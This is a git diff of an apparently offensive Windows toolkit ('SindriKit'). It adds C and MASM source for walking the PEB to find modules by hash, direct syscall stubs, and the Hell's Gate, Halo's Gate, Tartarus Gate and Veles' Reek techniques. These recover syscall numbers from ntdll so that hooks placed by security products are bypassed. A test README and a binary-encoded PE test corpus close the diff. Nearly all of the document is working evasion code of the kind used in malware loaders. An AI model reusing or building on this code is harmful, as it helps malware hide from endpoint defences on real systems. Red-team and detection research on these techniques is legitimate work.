buffer_char_count = data_table->BaseDllName.Length / sizeof(wchar_t); + + if (module_name != NULL) { + // String-based comparison + if (buffer_char_count == target_len) { + if (custom_wcsnicmp(data_table->BaseDllName.Buffer, module_name, target_len) == 0) { + return data_table->DllBase; + } + } + } else if (module_hash != 0) { + // Hash-based comparison + if (buffer_char_count < MAX_PATH) { + wchar_t wide_name[MAX_PATH]; + for (size_t i = 0; i < buffer_char_count; i++) { + wide_name[i] = data_table->BaseDllName.Buffer[i]; + } + wide_name[buffer_char_count] = L'\0'; + + if (snd_hash_wide_lower(wide_name) == module_hash) { + return data_table->DllBase; + } + } + } + } + curr = curr->Flink; + } + return NULL; +} + +snd_status_t WINAPI snd_peb_get_module_base(const wchar_t *module_name, PVOID *out_base) { + if (!out_base) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + *out_base = NULL; + + if (module_name == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + *out_base = snd_peb_get_module_base_internal(module_name, 0); + return *out_base ? SND_OK : SND_ERR_CTX(SND_STATUS_PEB_MODULE_NOT_FOUND, "Module name: %ls", module_name); +} + +snd_status_t WINAPI snd_peb_get_module_base_by_hash(DWORD module_hash, PVOID *out_base) { + if (!out_base) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + *out_base = NULL; + + if (module_hash == 0) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + *out_base = snd_peb_get_module_base_internal(NULL, module_hash); + return *out_base ? SND_OK : SND_ERR_CTX(SND_STATUS_PEB_MODULE_NOT_FOUND, "Module hash: 0x%x", module_hash); +} diff --git a/src/primitives/modules/win.c b/src/primitives/modules/win.c new file mode 100644 index 0000000..9728dba --- /dev/null +++ b/src/primitives/modules/win.c @@ -0,0 +1,39 @@ +#include +#include + +static snd_status_t WINAPI load_import_library(const char *dll_name, HMODULE *out_module) { + if (!out_module) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + DWORD load_flags = 0; +#ifdef LOAD_LIBRARY_SEARCH_DEFAULT_DIRS + load_flags |= LOAD_LIBRARY_SEARCH_DEFAULT_DIRS; +#endif +#ifdef LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR + load_flags |= LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR; +#endif + + if (load_flags != 0) { + *out_module = LoadLibraryExA(dll_name, NULL, load_flags); + } else { + *out_module = LoadLibraryA(dll_name); + } + return *out_module ? SND_OK : SND_ERR_W32(SND_STATUS_IMPORT_DLL_LOAD_FAILED); +} + +static snd_status_t WINAPI win_get_proc_address(HMODULE hModule, LPCSTR lpProcName, FARPROC *out_proc) { + if (!out_proc) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_proc = GetProcAddress(hModule, lpProcName); + return *out_proc ? SND_OK : SND_ERR_W32(SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED); +} + +static snd_status_t WINAPI win_get_module_base(const wchar_t *module_name, PVOID *out_base) { + if (!out_base) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_base = (PVOID)GetModuleHandleW(module_name); + return *out_base ? SND_OK : SND_ERR_W32(SND_ERROR_GENERIC); +} + +const snd_module_api_t snd_mod_win = {.load_library = load_import_library, + .get_proc_address = win_get_proc_address, + .get_module_base = win_get_module_base}; diff --git a/src/primitives/syscalls/asm/invoke_x64.asm b/src/primitives/syscalls/asm/invoke_x64.asm new file mode 100644 index 0000000..6a276cb --- /dev/null +++ b/src/primitives/syscalls/asm/invoke_x64.asm @@ -0,0 +1,51 @@ +; =========================================================================== +; invoke_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM) +; =========================================================================== +; +; Exports: +; snd_invoke_syscall_asm +; +; Invokes a syscall with up to 10 arguments safely, setting up the +; required stack and register states for the x64 calling convention. +; =========================================================================== + +.code + +PUBLIC snd_invoke_syscall_asm + +; snd_invoke_syscall_asm(SND_SYSCALL_ARGS* args) +snd_invoke_syscall_asm PROC + ; Allocate 88 bytes on stack to safely store args 5-10 + ; (32 bytes shadow space + 48 bytes for 6 args + 8 bytes padding for 16-byte alignment) + sub rsp, 88 + + ; RCX points to SND_SYSCALL_ARGS struct + ; Setup stack arguments (args 5-10) safely in our new frame + mov r11, [rcx+40] ; arg5 + mov [rsp+40], r11 + mov r11, [rcx+48] ; arg6 + mov [rsp+48], r11 + mov r11, [rcx+56] ; arg7 + mov [rsp+56], r11 + mov r11, [rcx+64] ; arg8 + mov [rsp+64], r11 + mov r11, [rcx+72] ; arg9 + mov [rsp+72], r11 + mov r11, [rcx+80] ; arg10 + mov [rsp+80], r11 + + ; Extract SSN and arguments 1-4 + movzx eax, word ptr [rcx] ; ssn is a WORD + mov r10, [rcx+8] ; arg1 (must go to r10 for syscall) + mov rdx, [rcx+16] ; arg2 + mov r8, [rcx+24] ; arg3 + mov r9, [rcx+32] ; arg4 + + syscall + + ; Restore stack and return + add rsp, 88 + ret +snd_invoke_syscall_asm ENDP + +end diff --git a/src/primitives/syscalls/asm/invoke_x86.asm b/src/primitives/syscalls/asm/invoke_x86.asm new file mode 100644 index 0000000..3dd850a --- /dev/null +++ b/src/primitives/syscalls/asm/invoke_x86.asm @@ -0,0 +1,69 @@ +; =========================================================================== +; invoke_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM) +; =========================================================================== +; +; Exports: +; snd_invoke_syscall_asm +; +; Invokes a syscall with up to 10 arguments safely. Handles both native x86 +; via int 0x2E and WOW64 execution environments. +; =========================================================================== + +.686 +.model flat, c + +.code + +PUBLIC snd_invoke_syscall_asm + +snd_invoke_syscall_asm PROC + ; Setup standard frame + push ebp + mov ebp, esp + + ; ebp+8 is SND_SYSCALL_ARGS* + mov ecx, [ebp+8] + + ; Push 10 arguments from the struct in reverse order + push [ecx+40] ; arg10 + push [ecx+36] ; arg9 + push [ecx+32] ; arg8 + push [ecx+28] ; arg7 + push [ecx+24] ; arg6 + push [ecx+20] ; arg5 + push [ecx+16] ; arg4 + push [ecx+12] ; arg3 + push [ecx+8] ; arg2 + push [ecx+4] ; arg1 + + ; SSN + movzx eax, word ptr [ecx] + + ; Check if running under WOW64 + ASSUME fs:nothing + mov ecx, fs:[0C0h] + test ecx, ecx + jz is_native + + ; WOW64 path expects edx to point to a stack frame containing a return + ; address followed by the arguments. We push a dummy return address. + push 0 + mov edx, esp + call ecx + add esp, 4 + jmp cleanup + +is_native: + ; Native x86 path expects edx to point directly to the first argument + mov edx, esp + int 2Eh + +cleanup: + ; Clean up 40 bytes of pushed args + add esp, 40 + + pop ebp + ret +snd_invoke_syscall_asm ENDP + +end diff --git a/src/primitives/syscalls/halosgate.c b/src/primitives/syscalls/halosgate.c new file mode 100644 index 0000000..d6098a7 --- /dev/null +++ b/src/primitives/syscalls/halosgate.c @@ -0,0 +1,61 @@ +#include "internal/neighbor.h" + +#include +#include +#include +#include +#include +#include +#include + +snd_status_t snd_halo_extract_syscall(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out) { + if (!entry_out || !ntdll_base) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + FARPROC func_addr = NULL; + snd_status_t status = + snd_pe_get_export_address_by_hash(ntdll_base, SND_SYS_DLL_SIZE_DEFAULT, func_hash, &func_addr, NULL); + if (status.code != SND_SUCCESS || !func_addr) { + return status; + } + + BYTE *p = (BYTE *)(ULONG_PTR)func_addr; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll_base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)SND_PTR_ADD(ntdll_base, dos->e_lfanew); + SIZE_T image_size = nt->OptionalHeader.SizeOfImage; + + if (!snd_ptr_bounds_check(ntdll_base, image_size, p, 8)) { + return SND_ERR(SND_STATUS_EXPORT_DIRECTORY_INVALID); + } + + entry_out->dwHash = func_hash; + entry_out->pAddress = (PVOID)(ULONG_PTR)func_addr; + +#if defined(_WIN64) + // Check if hooked (first byte is JMP) + if (p[0] == 0xE9) { + return snd_neighbor_search_ssn(p, ntdll_base, image_size, &entry_out->wSystemCall); + } else if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) { + // Not hooked + entry_out->wSystemCall = *(WORD *)(p + 4); + return SND_OK; + } + +#elif defined(_WIN32) + // 32-bit Wow64 transition stub + if (p[0] == 0xB8) { + entry_out->wSystemCall = *(WORD *)(p + 1); + return SND_OK; + } + + if (p[0] == 0xE9 || p[0] == 0xCC) { + return snd_neighbor_search_ssn(p, ntdll_base, image_size, &entry_out->wSystemCall); + } +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif + + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); +} diff --git a/src/primitives/syscalls/hellsgate.c b/src/primitives/syscalls/hellsgate.c new file mode 100644 index 0000000..d6f9328 --- /dev/null +++ b/src/primitives/syscalls/hellsgate.c @@ -0,0 +1,50 @@ +#include +#include +#include +#include +#include +#include +#include + +snd_status_t snd_hell_extract_syscall(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out) { + if (!entry_out || !ntdll_base) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + FARPROC func_addr = NULL; + snd_status_t status = + snd_pe_get_export_address_by_hash(ntdll_base, SND_SYS_DLL_SIZE_DEFAULT, func_hash, &func_addr, NULL); + if (status.code != SND_SUCCESS || !func_addr) { + return status; + } + + BYTE *p = (BYTE *)(ULONG_PTR)func_addr; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll_base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)SND_PTR_ADD(ntdll_base, dos->e_lfanew); + SIZE_T image_size = nt->OptionalHeader.SizeOfImage; + + if (!snd_ptr_bounds_check(ntdll_base, image_size, p, 8)) { + return SND_ERR(SND_STATUS_EXPORT_DIRECTORY_INVALID); + } + + entry_out->dwHash = func_hash; + entry_out->pAddress = (PVOID)(ULONG_PTR)func_addr; + +#if defined(_WIN64) + if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) { + entry_out->wSystemCall = *(WORD *)(p + 4); + return SND_OK; + } + +#elif defined(_WIN32) + if (p[0] == 0xB8) { + entry_out->wSystemCall = *(WORD *)(p + 1); + return SND_OK; + } +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif + + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); +} diff --git a/src/primitives/syscalls/internal/neighbor.c b/src/primitives/syscalls/internal/neighbor.c new file mode 100644 index 0000000..1a58f07 --- /dev/null +++ b/src/primitives/syscalls/internal/neighbor.c @@ -0,0 +1,48 @@ +#include "neighbor.h" + +#include + +snd_status_t snd_neighbor_search_ssn(BYTE *p, PVOID ntdll, SIZE_T image_size, WORD *ssn_out) { +#if defined(_WIN64) + for (WORD idx = 1; idx <= 500; idx++) { + // Check up bounds + BYTE *up_ptr = p + (idx * 32); + if (snd_ptr_bounds_check(ntdll, image_size, up_ptr, 8)) { + if (*((DWORD *)up_ptr) == 0xB8D18B4C) { /* 4C 8B D1 B8 */ + *ssn_out = *(WORD *)(up_ptr + 4) - idx; + return SND_OK; + } + } + // Check down bounds + BYTE *down_ptr = p - (idx * 32); + if (snd_ptr_bounds_check(ntdll, image_size, down_ptr, 8)) { + if (*((DWORD *)down_ptr) == 0xB8D18B4C) { /* 4C 8B D1 B8 */ + *ssn_out = *(WORD *)(down_ptr + 4) + idx; + return SND_OK; + } + } + } +#elif defined(_WIN32) + for (WORD idx = 1; idx <= 500; idx++) { + // Check up bounds + BYTE *up_ptr = p + (idx * 16); + if (snd_ptr_bounds_check(ntdll, image_size, up_ptr, 4)) { + if (*up_ptr == 0xB8) { + *ssn_out = *(WORD *)(up_ptr + 1) - idx; + return SND_OK; + } + } + // Check down bounds + BYTE *down_ptr = p - (idx * 16); + if (snd_ptr_bounds_check(ntdll, image_size, down_ptr, 4)) { + if (*down_ptr == 0xB8) { + *ssn_out = *(WORD *)(down_ptr + 1) + idx; + return SND_OK; + } + } + } +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); +} diff --git a/src/primitives/syscalls/internal/neighbor.h b/src/primitives/syscalls/internal/neighbor.h new file mode 100644 index 0000000..2ed176c --- /dev/null +++ b/src/primitives/syscalls/internal/neighbor.h @@ -0,0 +1,19 @@ +#ifndef SND_INTERNAL_NEIGHBOR_H +#define SND_INTERNAL_NEIGHBOR_H + +#include +#include +#include +#include + +/** + * @brief Shared neighbor-search loop for hooked syscall stubs. + * @param p Pointer to the current byte being examined. + * @param ntdll Base address of the ntdll module. + * @param image_size Size of the ntdll module image. + * @param ssn_out Pointer to receive the resolved SSN. + * @return SND_OK on success, or an error status. + */ +snd_status_t snd_neighbor_search_ssn(BYTE *p, PVOID ntdll, SIZE_T image_size, WORD *ssn_out); + +#endif // SND_INTERNAL_NEIGHBOR_H diff --git a/src/primitives/syscalls/syscalls.c b/src/primitives/syscalls/syscalls.c new file mode 100644 index 0000000..fb7de3d --- /dev/null +++ b/src/primitives/syscalls/syscalls.c @@ -0,0 +1,57 @@ +#include +#include +#include +#include +#include + +#define SND_MAX_INTERNAL_STRATEGIES 4 + +// State management for the resolution pipeline +static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {0}; +static int g_strategy_count = 0; + +void snd_set_syscall_strategy(snd_syscall_resolver_t resolver) { + if (!resolver) + return; + g_strategy_chain[0] = resolver; + g_strategy_count = 1; +} + +snd_status_t snd_add_syscall_strategy(snd_syscall_resolver_t resolver) { + if (!resolver) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + if (g_strategy_count < SND_MAX_INTERNAL_STRATEGIES) { + g_strategy_chain[g_strategy_count++] = resolver; + return SND_OK; + } + return SND_ERR(SND_STATUS_SSN_BUFFER_TOO_SMALL); +} + +snd_status_t snd_resolve_syscall(DWORD func_hash, snd_syscall_entry_t *entry_out) { + if (!entry_out) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + PVOID ntdll = snd_get_ntdll(); + if (!ntdll) { + return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "NTDLL base is NULL"); + } + + if (g_strategy_count == 0) { + return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "No syscall strategies set"); + } + + // Iterate through the pipeline of provided resolvers + for (int i = 0; i < g_strategy_count; i++) { + if (!g_strategy_chain[i]) + continue; + + snd_status_t status = g_strategy_chain[i](ntdll, func_hash, entry_out); + + if (status.code == SND_SUCCESS) { + return status; + } + } + + return SND_ERR_CTX(SND_STATUS_SSN_NOT_FOUND, "func_hash=0x%08X", func_hash); +} diff --git a/src/primitives/syscalls/tartarusgate.c b/src/primitives/syscalls/tartarusgate.c new file mode 100644 index 0000000..089f0f9 --- /dev/null +++ b/src/primitives/syscalls/tartarusgate.c @@ -0,0 +1,58 @@ +#include "internal/neighbor.h" + +#include +#include +#include +#include +#include +#include +#include + +snd_status_t snd_tartarus_extract_syscall(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out) { + if (!entry_out || !ntdll_base) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + FARPROC func_addr = NULL; + snd_status_t status = + snd_pe_get_export_address_by_hash(ntdll_base, SND_SYS_DLL_SIZE_DEFAULT, func_hash, &func_addr, NULL); + if (status.code != SND_SUCCESS || !func_addr) { + return status; + } + + BYTE *p = (BYTE *)(ULONG_PTR)func_addr; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll_base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)SND_PTR_ADD(ntdll_base, dos->e_lfanew); + SIZE_T image_size = nt->OptionalHeader.SizeOfImage; + + if (!snd_ptr_bounds_check(ntdll_base, image_size, p, 8)) { + return SND_ERR(SND_STATUS_EXPORT_DIRECTORY_INVALID); + } + + entry_out->dwHash = func_hash; + entry_out->pAddress = (PVOID)(ULONG_PTR)func_addr; + +#if defined(_WIN64) + if (p[0] == 0xE9 || p[0] == 0xEB || p[0] == 0xE8 || p[0] == 0xCC) { + return snd_neighbor_search_ssn(p, ntdll_base, image_size, &entry_out->wSystemCall); + } else if (p[3] == 0xE9 || p[3] == 0xEB || p[3] == 0xCC) { + return snd_neighbor_search_ssn(p, ntdll_base, image_size, &entry_out->wSystemCall); + } else if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) { + entry_out->wSystemCall = *(WORD *)(p + 4); + return SND_OK; + } + +#elif defined(_WIN32) + if (p[0] == 0xB8) { + entry_out->wSystemCall = *(WORD *)(p + 1); + return SND_OK; + } + + if (p[0] == 0xE9 || p[0] == 0xEB || p[0] == 0xCC) { + return snd_neighbor_search_ssn(p, ntdll_base, image_size, &entry_out->wSystemCall); + } +#endif + + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); +} diff --git a/src/primitives/syscalls/velesreek.c b/src/primitives/syscalls/velesreek.c new file mode 100644 index 0000000..e1c74a5 --- /dev/null +++ b/src/primitives/syscalls/velesreek.c @@ -0,0 +1,65 @@ +#include "internal/neighbor.h" + +#include +#include +#include +#include +#include +#include +#include + +snd_status_t snd_veles_extract_syscall(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out) { + if (!entry_out || !ntdll_base) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + FARPROC func_addr = NULL; + snd_status_t status = + snd_pe_get_export_address_by_hash(ntdll_base, SND_SYS_DLL_SIZE_DEFAULT, func_hash, &func_addr, NULL); + if (status.code != SND_SUCCESS || !func_addr) { + return status; + } + + BYTE *p = (BYTE *)(ULONG_PTR)func_addr; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll_base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)SND_PTR_ADD(ntdll_base, dos->e_lfanew); + SIZE_T image_size = nt->OptionalHeader.SizeOfImage; + + if (!snd_ptr_bounds_check(ntdll_base, image_size, p, 32)) { + return SND_ERR(SND_STATUS_EXPORT_DIRECTORY_INVALID); + } + + entry_out->dwHash = func_hash; + entry_out->pAddress = (PVOID)(ULONG_PTR)func_addr; + +#if defined(_WIN64) + if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) { + entry_out->wSystemCall = *(WORD *)(p + 4); + return SND_OK; + } + + for (SIZE_T offset = 0; offset < 24; offset++) { + if (p[offset] == 0xB8 && p[offset + 3] == 0x00 && p[offset + 4] == 0x00) { + entry_out->wSystemCall = *(WORD *)(p + offset + 1); + return SND_OK; + } + } + + if (p[0] == 0xE9 || p[0] == 0xEB || p[0] == 0xE8) { + return snd_neighbor_search_ssn(p, ntdll_base, image_size, &entry_out->wSystemCall); + } + +#elif defined(_WIN32) + if (p[0] == 0xB8) { + entry_out->wSystemCall = *(WORD *)(p + 1); + return SND_OK; + } + + if (p[0] == 0xE9 || p[0] == 0xEB || p[0] == 0xE8 || p[0] == 0xCC) { + return snd_neighbor_search_ssn(p, ntdll_base, image_size, &entry_out->wSystemCall); + } +#endif + + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); +} diff --git a/tests/CMakeLists.txt b/tests/CMakeLists.txt new file mode 100644 index 0000000..e529646 --- /dev/null +++ b/tests/CMakeLists.txt @@ -0,0 +1 @@ +add_subdirectory(loader) diff --git a/tests/README.md b/tests/README.md new file mode 100644 index 0000000..1c66236 --- /dev/null +++ b/tests/README.md @@ -0,0 +1,9 @@ +# Integration Tests + +This directory contains the automated testing infrastructure for validating the SindriKit reflective loading pipeline. Tests are data-driven: a compact specification matrix auto-expands across all `(loader, architecture)` combinations, and a PE mutation engine stress-tests the parser against structurally malformed inputs. + +## Table of Contents +- [loader/](loader/) + The reflective loader test suite, test runner, PE mutator, build definitions, and payload source code. +- [fixtures/](fixtures/) + Pre-built binary test assets (e.g., Corkami PE corpus) used for parser fuzz testing. diff --git a/tests/fixtures/pe/corkami.zip b/tests/fixtures/pe/corkami.zip new file mode 100644 index 0000000000000000000000000000000000000000..536941d37f19bcae0a675b5973d2e62c801a6429 GIT binary patch literal 723166 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 